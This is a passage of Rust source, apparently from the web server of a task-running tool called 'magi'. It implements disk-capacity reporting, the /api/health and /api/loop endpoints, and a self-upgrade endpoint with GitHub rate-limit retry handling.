2675    #[serde(skip_serializing_if = "Option::is_none")]
2676    cache_bytes: Option<u64>,
2677    /// Last bounded cleanup report, including retention and failure reasons.
2678    retention: Option<crate::retention::Report>,
2679}
2680
2681/// Capacity walks have their own demand-driven single flight, not the revision
2682/// worker: a large build cache must never delay revisions or a health response.
2683const DISK_REFRESH: Duration = Duration::from_secs(60);
2684
2685#[derive(Debug, Clone, PartialEq, Eq)]
2686struct DiskScope {
2687    runs: PathBuf,
2688    worktrees: PathBuf,
2689    cache: Option<PathBuf>,
2690}
2691
2692impl DiskScope {
2693    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2694        Self {
2695            runs: ui.runs.clone(),
2696            worktrees: ui.worktrees_root.clone(),
2697            cache: cfg.and_then(Config::cache_dir),
2698        }
2699    }
2700}
2701
2702#[derive(Debug, Clone, Copy, Default)]
2703struct DiskCapacity {
2704    free_bytes: Option<u64>,
2705    runs_bytes: Option<u64>,
2706    worktrees_bytes: Option<u64>,
2707    cache_bytes: Option<u64>,
2708}
2709
2710impl DiskCapacity {
2711    fn measure(scope: &DiskScope) -> Self {
2712        Self {
2713            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2714            runs_bytes: disk_capacity_size(&scope.runs),
2715            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2716            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2717        }
2718    }
2719
2720    fn retain_successes(&mut self, next: Self) {
2721        self.free_bytes = next.free_bytes.or(self.free_bytes);
2722        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2723        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2724        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2725    }
2726}
2727
2728/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2729/// best-effort total, an incomplete observation must not look like an empty tree.
2730fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2731    let metadata = match std::fs::symlink_metadata(path) {
2732        Ok(metadata) => metadata,
2733        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2734        Err(_) => return None,
2735    };
2736    if !metadata.is_dir() {
2737        return Some(if metadata.is_file() {
2738            metadata.len()
2739        } else {
2740            0
2741        });
2742    }
2743    let mut total = 0;
2744    let mut stack = vec![path.to_owned()];
2745    while let Some(dir) = stack.pop() {
2746        for entry in std::fs::read_dir(dir).ok()? {
2747            let entry = entry.ok()?;
2748            let metadata = entry.metadata().ok()?;
2749            if metadata.is_dir() {
2750                stack.push(entry.path());
2751            } else if metadata.is_file() {
2752                total += metadata.len();
2753            }
2754        }
2755    }
2756    Some(total)
2757}
2758
2759#[derive(Debug, Default)]
2760struct DiskObservation {
2761    scope: Option<DiskScope>,
2762    capacity: DiskCapacity,
2763    in_flight: bool,
2764    finished: Option<std::time::Instant>,
2765}
2766
2767impl DiskObservation {
2768    fn observe(
2769        state: &Arc<Mutex<Self>>,
2770        scope: DiskScope,
2771        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2772    ) -> DiskCapacity {
2773        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2774        if observation.scope.as_ref() != Some(&scope) {
2775            observation.scope = Some(scope.clone());
2776            observation.capacity = DiskCapacity::default();
2777            observation.finished = None;
2778        }
2779        let capacity = observation.capacity;
2780        if observation.in_flight
2781            || observation
2782                .finished
2783                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2784        {
2785            return capacity;
2786        }
2787        observation.in_flight = true;
2788        drop(observation);
2789
2790        let refresh = DiskRefresh {
2791            state: Arc::clone(state),
2792            scope,
2793        };
2794        tokio::task::spawn_blocking(move || {
2795            let next = measure(&refresh.scope);
2796            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2797            if observation.scope.as_ref() == Some(&refresh.scope) {
2798                observation.capacity.retain_successes(next);
2799            }
2800            drop(observation);
2801            // The guard also clears the flight on panic or a cancelled,
2802            // not-yet-started blocking job. No failed scan can wedge health.
2803            drop(refresh);
2804        });
2805        capacity
2806    }
2807}
2808
2809struct DiskRefresh {
2810    state: Arc<Mutex<DiskObservation>>,
2811    scope: DiskScope,
2812}
2813
2814impl Drop for DiskRefresh {
2815    fn drop(&mut self) {
2816        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2817        observation.in_flight = false;
2818        if observation.scope.as_ref() == Some(&self.scope) {
2819            // Wait a full period after completion, including failed scans.
2820            observation.finished = Some(std::time::Instant::now());
2821        }
2822    }
2823}
2824
2825impl DiskView {
2826    /// Return immediately, retaining known capacity while one worker refreshes.
2827    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2828        let capacity = DiskObservation::observe(
2829            &ui.monitor.disk,
2830            DiskScope::of(ui, cfg),
2831            DiskCapacity::measure,
2832        );
2833        Self::with_capacity(ui, capacity)
2834    }
2835
2836    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2837        Self {
2838            free_bytes: crate::disk::free_bytes(&ui.runs)
2839                .ok()
2840                .or(capacity.free_bytes),
2841            runs_bytes: capacity.runs_bytes,
2842            worktrees_bytes: capacity.worktrees_bytes,
2843            cache_bytes: capacity.cache_bytes,
2844            retention: ui
2845                .runs
2846                .parent()
2847                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2848                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2849        }
2850    }
2851}
2852
2853/// The daemon's state as the UI presents it.
2854#[derive(Debug, Serialize)]
2855struct DaemonView {
2856    running: bool,
2857    idle: Option<bool>,
2858    pid: Option<u32>,
2859    /// Every task and run currently in flight. Empty when idle; more than
2860    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2861    /// run going at once.
2862    current: Vec<daemon::Current>,
2863    completed: Option<u64>,
2864    stale_for_secs: Option<i64>,
2865}
2866
2867impl DaemonView {
2868    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2869    /// not this UI's — a crashed daemon must not look alive here while
2870    /// `doctor` calls it dead.
2871    fn of(status: Option<daemon::Reading>) -> Self {
2872        let Some(status) = status else {
2873            return Self {
2874                running: false,
2875                idle: None,
2876                pid: None,
2877                current: Vec::new(),
2878                completed: None,
2879                stale_for_secs: None,
2880            };
2881        };
2882        let now = Timestamp::now();
2883        let age = status.age_secs(now);
2884        Self {
2885            running: status.running(now),
2886            idle: Some(status.idle),
2887            pid: status.pid,
2888            current: status.current,
2889            completed: Some(status.completed),
2890            stale_for_secs: age,
2891        }
2892    }
2893}
2894
2895// Discover display configuration off the request path. Capacity measurement
2896// retains its separate single flight and scope/failure handling below.
2897fn refresh_health_config(ui: &Arc<Ui>) {
2898    let mut cache = ui
2899        .monitor
2900        .disk_cache
2901        .lock()
2902        .unwrap_or_else(PoisonError::into_inner);
2903    if cache.loading
2904        || cache
2905            .measured
2906            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
2907    {
2908        return;
2909    }
2910    cache.loading = true;
2911    let weak = Arc::downgrade(ui);
2912    std::thread::spawn(move || {
2913        let Some(ui) = weak.upgrade() else { return };
2914        let cfg = deputy_config(&ui.repo);
2915        let update = cached_update_view(cfg.as_ref());
2916        let mut cache = ui
2917            .monitor
2918            .disk_cache
2919            .lock()
2920            .unwrap_or_else(PoisonError::into_inner);
2921        cache.config = cfg;
2922        cache.update = Some(update);
2923        cache.measured = Some(std::time::Instant::now());
2924        cache.loading = false;
2925    });
2926}
2927
2928fn health_counts(
2929    ui: &Ui,
2930    fallback_questions_rev: u64,
2931) -> ApiResult<(usize, usize, usize, u64, usize)> {
2932    let mut index = ui
2933        .monitor
2934        .health_index
2935        .lock()
2936        .unwrap_or_else(PoisonError::into_inner);
2937    let ids = run_ids(&ui.runs);
2938    let seen: HashSet<_> = ids.iter().cloned().collect();
2939    index.runs.retain(|id, _| seen.contains(id));
2940    let mut unreadable = 0;
2941    for id in ids {
2942        // Recheck identity on every request, including atomic replacements
2943        // with preserved length/mtime. A failed stat is never cached as good.
2944        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
2945        let bad = match identity {
2946            Ok(identity) => {
2947                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
2948                    let bad = read_run(&ui.runs, &id).is_err();
2949                    index.runs.insert(id.clone(), (identity, bad));
2950                    #[cfg(test)]
2951                    {
2952                        index.run_parses += 1;
2953                    }
2954                }
2955                index.runs[&id].1
2956            }
2957            Err(_) => true,
2958        };
2959        unreadable += usize::from(bad);
2960    }
2961    let questions_rev = try_stamps(ui.questions.root(), false, true)
2962        .map(|stamps| stamps_revision(&stamps))
2963        .unwrap_or(fallback_questions_rev);
2964    if index.questions.as_ref().is_none_or(|counts| {
2965        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
2966    }) {
2967        let questions = ui.questions.list();
2968        index.questions = Some(QuestionCounts {
2969            revision: questions_rev,
2970            measured: std::time::Instant::now(),
2971            open: questions.iter().filter(|q| q.status.open()).count(),
2972            owner: questions
2973                .iter()
2974                .filter(|q| {
2975                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2976                })
2977                .count(),
2978        });
2979    }
2980    let notifications_rev =
2981        stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
2982    if index
2983        .notices
2984        .is_none_or(|(rev, _)| rev != notifications_rev)
2985    {
2986        index.notices = Some((notifications_rev, ui.notices.count_unread()));
2987    }
2988    let questions = index.questions.as_ref().unwrap();
2989    Ok((
2990        unreadable,
2991        questions.open,
2992        questions.owner,
2993        notifications_rev,
2994        index.notices.unwrap().1,
2995    ))
2996}
2997
2998async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2999    let revisions = ui.monitor.revisions(&ui).await?;
3000    refresh_health_config(&ui);
3001    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3002        // One read of the status file for the two fields that describe it, so
3003        // `daemon` and `loop` in the same answer cannot disagree about who is
3004        // running the loop.
3005        let reading = daemon::read_status(&ui.home);
3006        // Read on its own line, not inside the literal below: the loop's lock
3007        // is not reentrant, and a guard taken as a temporary there would still
3008        // be held when `loop_view` took it again.
3009        let loop_rev = ui.lock_loop().rev;
3010        let (
3011            runs_unreadable,
3012            questions_open,
3013            questions_needs_owner,
3014            notifications_rev,
3015            notifications_unread,
3016        ) = health_counts(&ui, revisions.2)?;
3017        let ((cfg, config_observed, sizes, measured), update) = {
3018            let cache = ui
3019                .monitor
3020                .disk_cache
3021                .lock()
3022                .unwrap_or_else(PoisonError::into_inner);
3023            (
3024                (
3025                    cache.config.clone(),
3026                    cache.measured.is_some(),
3027                    cache.disk.clone(),
3028                    cache.measured,
3029                ),
3030                cache.update.clone().unwrap_or(UpdateView {
3031                    available: false,
3032                    to: None,
3033                }),
3034            )
3035        };
3036        // Retain the base's capacity observation independently of config
3037        // refreshes. A cold config read may still be pending; an existing
3038        // capacity flight must remain visible to concurrent health requests.
3039        let prior_capacity = {
3040            let mut observation = ui
3041                .monitor
3042                .disk
3043                .lock()
3044                .unwrap_or_else(PoisonError::into_inner);
3045            // Adopt a completed size snapshot only before the scoped capacity
3046            // observer has started. Later scope changes remain its authority.
3047            if observation.scope.is_none()
3048                && let Some(sizes) = sizes
3049            {
3050                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3051                observation.capacity = DiskCapacity {
3052                    runs_bytes: Some(sizes.runs),
3053                    worktrees_bytes: Some(sizes.worktrees),
3054                    cache_bytes: sizes.cache,
3055                    free_bytes: None,
3056                };
3057                observation.finished = measured;
3058            }
3059            observation.scope.as_ref().map(|_| observation.capacity)
3060        };
3061        let disk = if config_observed {
3062            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3063        } else {
3064            serde_json::to_value(DiskView::with_capacity(
3065                &ui,
3066                prior_capacity.unwrap_or_default(),
3067            ))
3068            .ok()
3069        };
3070        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3071        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3072        #[cfg(not(test))]
3073        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3074        #[cfg(test)]
3075        let looping = ui.loop_view(reading.clone());
3076        Ok(Json(HealthView {
3077            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3078            version: env!("CARGO_PKG_VERSION"),
3079            home: ui.home.display().to_string(),
3080            queue_rev: revisions.0,
3081            runs_rev: revisions.1,
3082            questions_rev: revisions.2,
3083            talks_rev: revisions.3,
3084            notifications_rev,
3085            notifications_unread,
3086            loop_rev,
3087            runs_unreadable,
3088            questions_open,
3089            questions_needs_owner,
3090            daemon: DaemonView::of(reading.clone()),
3091            looping,
3092            disk,
3093            update,
3094            upgrade,
3095            upgrade_request_error: ui
3096                .upgrade_request_error
3097                .lock()
3098                .unwrap_or_else(PoisonError::into_inner)
3099                .clone(),
3100        }))
3101    })
3102    .await
3103}
3104
3105/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3106#[derive(Debug, Serialize)]
3107struct LoopView {
3108    /// A scheduler is running, independently of this web process.
3109    running: bool,
3110    /// The scheduler has been asked to stop scheduling new work.
3111    stopping: bool,
3112    /// An explicit operator park was requested, independently from updates.
3113    parking: bool,
3114    /// This scheduler supports durable controls from any web generation.
3115    owned: bool,
3116    /// Repository the loop uses for tasks that name none - what it was
3117    /// started with while it runs, and what a start would use before that.
3118    repo: String,
3119    /// Merge mode override in force, or `null` when each repository's own
3120    /// config decides.
3121    merge: Option<String>,
3122    /// Why the last loop in this process ended, when it ended badly.
3123    ///
3124    /// The only place a crashed loop is visible to someone holding a phone.
3125    /// It is logged at error level as well, but a terminal nobody kept open
3126    /// is not a report, and a loop that died at 3am must not read as merely
3127    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3128    /// answers the same question about the same kind of failure.
3129    last_error: Option<String>,
3130    /// The status file, judged the same way `/api/health` judges it: this is
3131    /// what says whether a loop is alive in some *other* process.
3132    daemon: DaemonView,
3133}
3134
3135/// A legacy embedded scheduler that this web process cannot control.
3136///
3137/// Worker-protocol schedulers use durable controls regardless of which process
3138/// started them. Older schedulers are identified by their foreign heartbeat.
3139#[derive(Debug, Clone, Copy)]
3140struct Foreign {
3141    /// The pid the other process published, when it published one.
3142    pid: Option<u32>,
3143}
3144
3145impl Foreign {
3146    /// Another process's live loop, or `None` when this process is free to
3147    /// run one.
3148    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3149        // A fresh heartbeat with no pid in it is still evidence of a live
3150        // daemon. "Some other process" is the honest answer, and refusing
3151        // to start beside it is the safe one.
3152        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3153            return None;
3154        }
3155        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3156    }
3157
3158    /// How a conflict names it. The pid is the whole point of the message: it
3159    /// is what the operator needs to find the terminal that owns the loop.
3160    fn who(&self) -> String {
3161        match self.pid {
3162            Some(pid) => format!("another magi process (pid {pid})"),
3163            None => "another magi process".to_owned(),
3164        }
3165    }
3166}
3167
3168/// How a loop is started, as a future this module can hold onto.
3169///
3170/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3171/// trait object or a hand-written `Debug` impl for the sake of one seam.
3172type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3173
3174#[cfg(test)]
3175type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3176
3177/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3178#[cfg(test)]
3179fn launch_daemon(
3180    opts: daemon::Opts,
3181    stop: daemon::Stop,
3182) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3183    Box::pin(daemon::serve_until(opts, stop))
3184}
3185
3186/// Local web-control revisions and errors, plus the unit-test launch seam.
3187#[derive(Debug, Default)]
3188struct LoopState {
3189    /// The loop, while there is one.
3190    #[cfg(test)]
3191    live: Option<Live>,
3192    /// Local control changes streamed as `loop_rev`; actual scheduler and
3193    /// execution ownership comes from durable status and OS-held worker leases.
3194    rev: u64,
3195    /// Why the last loop ended, when it ended badly. See
3196    /// [`LoopView::last_error`].
3197    last_error: Option<String>,
3198}
3199
3200/// A loop in flight.
3201#[cfg(test)]
3202#[derive(Debug)]
3203struct Live {
3204    /// The cooperative stop, shared with the loop task.
3205    stop: daemon::Stop,
3206    /// The task itself, kept only to answer whether it is still there: a loop
3207    /// that panicked never records its own end, and without this the view
3208    /// would go on reporting a loop that no longer exists - the one lie that
3209    /// would leave the operator with no button to press.
3210    handle: tokio::task::JoinHandle<()>,
3211    /// What the loop was started with, so the view reports the repository and
3212    /// merge mode its runs will actually use rather than what an edit to the
3213    /// config since would give.
3214    opts: daemon::Opts,
3215}
3216
3217#[cfg(test)]
3218impl Live {
3219    /// Is the task still there? See [`Live::handle`].
3220    fn alive(&self) -> bool {
3221        !self.handle.is_finished()
3222    }
3223}
3224
3225/// Take the loop lock, recovering from a poisoned one.
3226///
3227/// What this mutex holds is a stop flag, a task handle and two counters, none
3228/// of which a panic elsewhere can leave in a state worth refusing to read.
3229/// Propagating the poison instead would mean an operator who can see the loop
3230/// running and can no longer stop it from the only surface they have.
3231fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3232    state.lock().unwrap_or_else(PoisonError::into_inner)
3233}
3234
3235/// `GET /api/loop`.
3236async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3237    blocking(move || {
3238        let reading = daemon::read_status(&ui.home);
3239        #[cfg(not(test))]
3240        let view = ui.try_loop_view(reading)?;
3241        #[cfg(test)]
3242        let view = ui.loop_view(reading);
3243        Ok(Json(view))
3244    })
3245    .await
3246}
3247
3248/// The body of `POST /api/loop`.
3249///
3250/// One required field and nothing else: no `default` and no unknown fields,
3251/// so a body that fails to say which way the switch was flipped is a 400
3252/// rather than a tap that quietly does the opposite of what was pressed.
3253#[derive(Debug, Deserialize)]
3254#[serde(deny_unknown_fields)]
3255struct LoopCommand {
3256    running: bool,
3257    /// Stop the run in flight at its next node boundary rather than letting it
3258    /// finish.
3259    ///
3260    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3261    /// competition is tens of minutes of paid work and finishing it is
3262    /// normally the cheapest thing to do. A park is for the operator who
3263    /// wants the process gone now - to replace the binary, most of all - and
3264    /// it costs at most the node in progress because every node writes its
3265    /// state before the next one starts.
3266    #[serde(default)]
3267    park: bool,
3268}
3269
3270/// Start or control the detached scheduler without waiting for execution
3271/// workers. Only an explicit park asks workers to stop at a node boundary.
3272async fn loop_post(
3273    State(ui): State<Arc<Ui>>,
3274    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3275) -> ApiResult<Json<LoopView>> {
3276    // Taken as a `Result` so a malformed body is a 400 like every other route
3277    // here, rather than axum's default 422 that the UI has no branch for.
3278    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3279    #[cfg(not(test))]
3280    {
3281        if body.running {
3282            ui.start_detached_loop().await?;
3283        } else {
3284            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3285            ui.stop_loop(foreign, body.park)?;
3286        }
3287        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3288    }
3289    #[cfg(test)]
3290    {
3291        blocking(move || {
3292            let reading = daemon::read_status(&ui.home);
3293            let foreign = Foreign::of(reading.as_ref());
3294            if body.running {
3295                ui.start_loop(foreign)?;
3296            } else {
3297                ui.stop_loop(foreign, body.park)?;
3298            }
3299            Ok(Json(ui.loop_view(reading)))
3300        })
3301        .await
3302    }
3303}
3304
3305/// What `POST /api/upgrade` set in motion.
3306#[derive(Debug, Serialize)]
3307struct UpgradeView {
3308    /// The version this process is running.
3309    from: String,
3310    /// The release it is replacing itself with, when there is one.
3311    to: Option<String>,
3312    /// What the operator should expect to happen next.
3313    detail: String,
3314}
3315
3316/// The stage of an upgrade that is still moving, if the record says so.
3317/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3318fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3319    progress.filter(|p| !p.stage.terminal())
3320}
3321
3322/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3323/// Unknown diagnostics retain their complete message without guessing a delay.
3324fn upgrade_retry_after(message: &str) -> Option<u64> {
3325    if !message.contains("GitHub") || !message.contains("rate limit") {
3326        return None;
3327    }
3328    if message.contains("retry now") {
3329        return Some(0);
3330    }
3331    let duration = message
3332        .split_once("resets in ")
3333        .or_else(|| message.split_once("retry after "))?
3334        .1
3335        .split_once(')')?
3336        .0;
3337    let mut rest = duration.trim();
3338    if rest.is_empty() {
3339        return None;
3340    }
3341    let mut total = 0u64;
3342    while !rest.is_empty() {
3343        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3344        let amount: u64 = rest[..n].parse().ok()?;
3345        let scale = match rest[n..].chars().next()? {
3346            's' => 1,
3347            'm' => 60,
3348            'h' => 3600,
3349            'd' => 86400,
3350            _ => return None,
3351        };
3352        total = total.checked_add(amount.checked_mul(scale)?)?;
3353        rest = rest[n + 1..].trim_start();
3354    }
3355    Some(total)
3356}
3357
3358#[derive(Debug, Clone, Serialize)]
3359struct UpgradeRequestFailure {
3360    occurred_at: String,
3361    error: String,
3362    retry_after_secs: Option<u64>,
3363    /// Unix seconds; independent of the phone's polling cadence.
3364    retry_at: Option<u64>,
3365}
3366
3367impl UpgradeRequestFailure {
3368    fn new(error: String) -> Self {
3369        let retry_after_secs = upgrade_retry_after(&error);
3370        let now = std::time::SystemTime::now()
3371            .duration_since(std::time::UNIX_EPOCH)
3372            .unwrap_or_default()
3373            .as_secs();
3374        Self {
3375            occurred_at: jiff::Timestamp::now().to_string(),
3376            error,
3377            retry_after_secs,
3378            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3379        }
3380    }
3381}
3382
3383/// `POST /api/upgrade` - replace this binary with the newest release and come
3384/// back on it.
3385///
3386/// Replace the installed binary, restart the detached scheduler, release the
3387/// web listener, then start the successor. Active task and conversation
3388/// workers retain their immutable executable and continue without parking.
3389///
3390/// A legacy embedded scheduler is the only incompatible owner: its work
3391/// must finish or park before the first migration replaces its process.
3392///
3393/// Answers **202**: the reply has to reach the phone while this process can
3394/// still send one, and the phone learns the deck is back by reconnecting.
3395async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3396    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3397}
3398
3399async fn begin_upgrade(
3400    ui: &Arc<Ui>,
3401    trigger: updater::UpgradeTrigger,
3402    latest: Option<kaishin::LatestRelease>,
3403) -> Response {
3404    let reading = daemon::read_status(&ui.home);
3405    if let Some(other) = Foreign::of(reading.as_ref()) {
3406        return ApiError::conflict(format!(
3407            "{} is a legacy scheduler without detached restart support. \
3408             Finish or explicitly park its work in the existing UI before \
3409             this first migration; independent schedulers do not need this.",
3410            other.who()
3411        ))
3412        .into_response();
3413    }
3414
3415    // A second upgrade while one is moving would replace the binary and
3416    // signal the handover again after `serve` already consumed the first
3417    // signal, leaving the process in `replaced` forever. Try-lock rather than
3418    // wait: a phone connection must not hang behind a GitHub round trip.
3419    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3420        return ApiError::conflict("another request is already preparing an upgrade")
3421            .into_response();
3422    };
3423    // Hold the same gate through recording/clearing the request outcome, so
3424    // an older response cannot overwrite a retry's result.
3425    if trigger == updater::UpgradeTrigger::Auto {
3426        let cfg = match Config::discover(&ui.repo, None) {
3427            Ok((cfg, _)) => cfg,
3428            Err(e) => {
3429                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3430            }
3431        };
3432        let Some(latest) = latest else {
3433            return StatusCode::NO_CONTENT.into_response();
3434        };
3435        let busy = ui.auto_upgrade_busy();
3436        let failed = ui
3437            .auto_failed_tag
3438            .lock()
3439            .unwrap_or_else(PoisonError::into_inner)
3440            .clone();
3441        let decision = auto_upgrade_decision(
3442            &cfg.update,
3443            updater::disabled_by_env(),
3444            ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3445                || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3446            busy,
3447            &latest.tag_name,
3448            failed.as_deref(),
3449        );
3450        if decision != AutoUpgradeDecision::Trigger {
3451            let reason = match decision {
3452                AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3453                AutoUpgradeDecision::Skip(reason) => reason,
3454                AutoUpgradeDecision::Trigger => unreachable!(),
3455            };
3456            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3457            return StatusCode::NO_CONTENT.into_response();
3458        }
3459        // Close run admission, then recheck under the same request gate.
3460        // A resume that got in before the flag is visible in `resuming`;
3461        // one that arrives afterwards is refused by `begin_resume`.
3462        ui.upgrade_spawned
3463            .store(true, std::sync::atomic::Ordering::SeqCst);
3464        if ui.auto_upgrade_busy() {
3465            ui.upgrade_spawned
3466                .store(false, std::sync::atomic::Ordering::SeqCst);
3467            updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3468            return StatusCode::NO_CONTENT.into_response();
3469        }
3470        updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3471        return finish_upgrade_request(
3472            ui,
3473            upgrade_checked_for(
3474                ui,
3475                env!("CARGO_PKG_VERSION").into(),
3476                Ok(Some(latest)),
3477                trigger,
3478            ),
3479        );
3480    }
3481    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3482}
3483
3484fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3485    match result {
3486        Ok(out) => {
3487            *ui.upgrade_request_error
3488                .lock()
3489                .unwrap_or_else(PoisonError::into_inner) = None;
3490            out.into_response()
3491        }
3492        Err(error) if error.status != StatusCode::CONFLICT => {
3493            let failure = UpgradeRequestFailure::new(error.message);
3494            *ui.upgrade_request_error
3495                .lock()
3496                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3497            let mut response = (error.status, Json(&failure)).into_response();
3498            if let Some(value) = failure
3499                .retry_after_secs
3500                .and_then(|secs| secs.to_string().parse().ok())
3501            {
3502                response.headers_mut().insert("retry-after", value);
3503            }
3504            response
3505        }
3506        Err(error) => error.into_response(),
3507    }
3508}
3509
3510async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3511    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3512        return Err(ApiError::conflict(
3513            "an upgrade is already in progress (this process started one and it \
3514             has not finished or failed yet)",
3515        ));
3516    }
3517    let recorded = updater::read_progress(&ui.home);
3518    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3519        return Err(ApiError::conflict(format!(
3520            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3521             stays stuck, restart the deck; on start it settles a stale record.",
3522            p.stage.as_str(),
3523            p.from,
3524            p.to.as_deref().unwrap_or("?"),
3525        )));
3526    }
3527
3528    // The same kill switch the background check honours (`disabled_by_env`),
3529    // checked before anything else for the same reason it is read before the
3530    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3531    // contact GitHub from this process", and a button press must not
3532    // override that any more than a broken `magi.toml` may.
3533    if crate::updater::disabled_by_env() {
3534        return Ok((
3535            StatusCode::OK,
3536            Json(UpgradeView {
3537                from: env!("CARGO_PKG_VERSION").to_owned(),
3538                to: None,
3539                detail: format!(
3540                    "Automatic updates are disabled by {}. Nothing was parked \
3541                     and nothing restarted.",
3542                    crate::updater::NO_AUTOUPDATE_ENV
3543                ),
3544            }),
3545        ));
3546    }
3547
3548    // Check before disturbing listeners or scheduling: no available update
3549    // means there is no reason to restart anything.
3550    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3551    let from = env!("CARGO_PKG_VERSION").to_owned();
3552    let latest = match crate::updater::Checker::new(&cfg.update) {
3553        Some(checker) => checker.newer_release().await,
3554        None => Ok(None),
3555    };
3556    upgrade_checked(ui, from, latest)
3557}
3558
3559fn upgrade_checked(
3560    ui: &Arc<Ui>,
3561    from: String,
3562    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3563) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3564    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3565}
3566
3567fn upgrade_checked_for(
3568    ui: &Arc<Ui>,
3569    from: String,
3570    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3571    trigger: updater::UpgradeTrigger,
3572) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3573    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3574    let Some(latest) = latest else {
3575        return Ok((
3576            StatusCode::OK,
3577            Json(UpgradeView {
3578                from,
3579                to: None,
3580                detail: "Already on the newest release. Nothing was parked \
3581                         and nothing restarted."
3582                    .to_owned(),
3583            }),
3584        ));
3585    };
3586
3587    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3588
3589    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3590    // poll must see a `Downloading` stage immediately, not whenever the
3591    // spawned task happens to get scheduled.
3592    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3593    progress.trigger = trigger;
3594    updater::write_progress_logged(&ui.home, &progress);
3595
3596    let home = ui.home.clone();
3597    ui.upgrade_spawned
3598        .store(true, std::sync::atomic::Ordering::SeqCst);
3599    let spawned = Arc::clone(&ui.upgrade_spawned);
3600    let runner = ui.upgrade_runner;
